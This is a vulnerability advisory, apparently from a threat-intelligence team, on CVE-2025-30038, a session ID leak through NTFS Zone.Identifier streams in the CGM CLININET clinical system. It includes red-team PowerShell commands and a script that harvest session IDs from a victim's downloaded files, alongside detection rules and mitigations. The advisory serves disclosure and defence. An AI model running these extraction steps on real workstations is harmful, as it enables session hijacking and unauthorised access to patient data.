CVE-2025-30038

Executive Summary

CVE-2025-30038 describes a session ID leak vulnerability in CGM CLININET, a clinical information system. When a user downloads a file from the application, the session identifier is inadvertently exposed through an NTFS alternate data stream (ADS) that Windows automatically attaches to files from potentially untrusted sources. This metadata leak can allow an attacker with local file system access to retrieve the session ID and potentially hijack authenticated sessions.

Supply Chain & Package Security

This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). It is a proprietary medical software (CGM CLININET) and does not have a supply chain component in the traditional sense. However, the reliance on Windows ADS for security metadata introduces a systemic risk that affects the entire deployment environment.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, indicating that no official CVSS vector has been assigned. Based on the vulnerability description, a reasonable assessment would be:

• Attack Vector (AV): Local (AV:L) – requires local file system access to the downloaded file.
• Attack Complexity (AC): Low (AC:L) – no special conditions beyond file access.
• Privileges Required (PR): Low (PR:L) – attacker needs user-level access to the machine.
• User Interaction (UI): None (UI:N) – no user action beyond normal download.
• Scope (S): Unchanged (S:U) – the leak does not cross trust boundaries.
• Confidentiality (C): High (C:H) – session ID leak can lead to account takeover.
• Integrity (I): None (I:N) – no data modification.
• Availability (A): None (A:N) – no denial of service.

Estimated CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Estimated Score: 5.5 (Medium)

Threat Level: Medium. The vulnerability requires local access, but in a clinical environment where multiple users share workstations, this could be exploited by an insider or via malware.

Deep Dive & Mechanics

The vulnerability stems from how Windows handles files downloaded from the internet or untrusted sources. When a file is downloaded via a web browser or application, Windows attaches a Zone.Identifier alternate data stream (ADS) to the file. This ADS contains metadata such as the source URL and a referral URL. In the case of CGM CLININET, the session ID is embedded in the URL (e.g., https://clininetserver/download?sessionID=abc123&file=report.pdf). When the file is saved, Windows stores the full URL in the ADS, including the session ID.

An attacker who gains access to the local file system (e.g., via a shared workstation, USB drive, or malware) can read the ADS of any downloaded file using tools like dir /r, PowerShell, or streams.exe from Sysinternals. The session ID can then be used to impersonate the user who downloaded the file, potentially accessing sensitive patient data or performing unauthorized actions.

Key Technical Details:

• NTFS ADS: A hidden data stream attached to a file, not visible in normal file listings.
• Zone.Identifier: The specific ADS used by Windows to mark files from untrusted zones.
• Session ID Exposure: The session ID is part of the URL stored in the ADS, making it recoverable.

Vulnerable vs. Patched Code

No code snippets are available for this vulnerability. The issue is not in the application code itself but in the interaction between CGM CLININET and the Windows operating system. The vulnerable behavior is the inclusion of the session ID in the download URL, which is then stored in the ADS.

Vulnerable Behavior:

• CGM CLININET generates download URLs containing the session ID as a query parameter.
• Example URL: https://server/download?sessionID=abc123&file=report.pdf
• Windows saves this URL in the Zone.Identifier ADS.

Patched Behavior (Hypothetical):

• The session ID should be transmitted via a secure, non-persistent method (e.g., HTTP headers or POST body) and not appear in the URL.
• Alternatively, the application could use a temporary, one-time token for downloads that is not tied to the session.

Exploitation & Lab Setup

Red Team

Objective: Extract session IDs from downloaded files on a target workstation.

Prerequisites:

• Local access to a Windows machine where a user has downloaded a file from CGM CLININET.
• Basic command-line access (cmd or PowerShell).

Steps:

1. Identify downloaded files: Look for files in the Downloads folder or other common locations.
2. Read the ADS using PowerShell:

   Get-Item -Path "C:\Users\victim\Downloads\report.pdf" -Stream *
   

   This will list all streams, including Zone.Identifier.
3. Extract the content of the Zone.Identifier stream:

   Get-Content -Path "C:\Users\victim\Downloads\report.pdf" -Stream Zone.Identifier
   

   Output will look like:

   [ZoneTransfer]
   ZoneId=3
   ReferrerUrl=https://clininetserver/
   HostUrl=https://clininetserver/download?sessionID=abc123&file=report.pdf
   

4. Parse the HostUrl to extract the sessionID parameter.
5. Use the session ID to access the CGM CLININET web interface as the victim user.

Automation Script:

# Extract session IDs from all files in a directory
$directory = "C:\Users\victim\Downloads"
Get-ChildItem $directory | ForEach-Object {
    $stream = Get-Content -Path $_.FullName -Stream Zone.Identifier -ErrorAction SilentlyContinue
    if ($stream -match "HostUrl=.*sessionID=([^&]+)") {
        Write-Output "File: $($_.Name) - SessionID: $($matches[1])"
    }
}

Blue Team

Detection:

• Monitor for unauthorized access to ADS using Sysmon or EDR.
• Alert on PowerShell commands that read Zone.Identifier streams.
• Look for unusual network connections using session IDs extracted from local files.

Prevention:

• Configure Group Policy to disable the attachment of Zone.Identifier streams (not recommended for security reasons).
• Use application-level controls to remove session IDs from download URLs.
• Implement session binding to IP addresses or user agents to limit session hijacking.

Hunting:

• Search for files with Zone.Identifier streams that contain sessionID in the HostUrl.
• Correlate file access events with subsequent authentication attempts.

Indicators of Compromise (IOCs)

• File Artifacts: Any file with a Zone.Identifier ADS containing a URL with sessionID= parameter.
• Network Traffic: HTTP requests to CGM CLININET using a session ID that was previously seen in a download URL.
• Process Activity: PowerShell or cmd.exe processes reading Zone.Identifier streams.
• Tool Usage: Presence of streams.exe or similar ADS enumeration tools.

Example IOC:

• File: report.pdf with ADS content:

  [ZoneTransfer]
  ZoneId=3
  HostUrl=https://clininetserver/download?sessionID=abc123&file=report.pdf
  

Detection Engineering

YARA Rule

rule CVE_2025_30038_SessionID_Leak_ADS {
    meta:
        description = "Detects files with Zone.Identifier ADS containing sessionID in HostUrl"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-30038"
    strings:
        $zone_header = "[ZoneTransfer]"
        $host_url = "HostUrl="
        $session_id = "sessionID="
    condition:
        $zone_header at 0 and $host_url and $session_id
}

Sigma Rule

title: CVE-2025-30038 Session ID Leak via ADS
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects PowerShell commands reading Zone.Identifier streams to extract session IDs
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\powershell.exe'
        CommandLine|contains: 'Zone.Identifier'
    condition: selection
falsepositives:
    - Legitimate administrative tasks
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-30038 Session ID in Download URL"; flow:to_server; content:"/download?"; nocase; content:"sessionID="; nocase; distance:0; within:100; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update CGM CLININET: Contact the vendor for a patch that removes session IDs from download URLs.
2. Workaround: Configure the application to use POST requests for downloads or to use temporary tokens instead of session IDs.
3. User Education: Inform users not to download files from CGM CLININET on shared or untrusted machines.

Long-Term Mitigations:

• Implement session binding (e.g., to IP address or user agent) to reduce the impact of session ID theft.
• Use HTTPS with HSTS to prevent URL leakage in transit.
• Deploy endpoint detection and response (EDR) solutions to monitor for ADS enumeration.
• Regularly audit file systems for exposed session IDs.

Patch Status: UNKNOWN / UNPATCHED. Monitor vendor advisories for updates.

Valters IT
DevSecOps & Cyber Threat Intelligence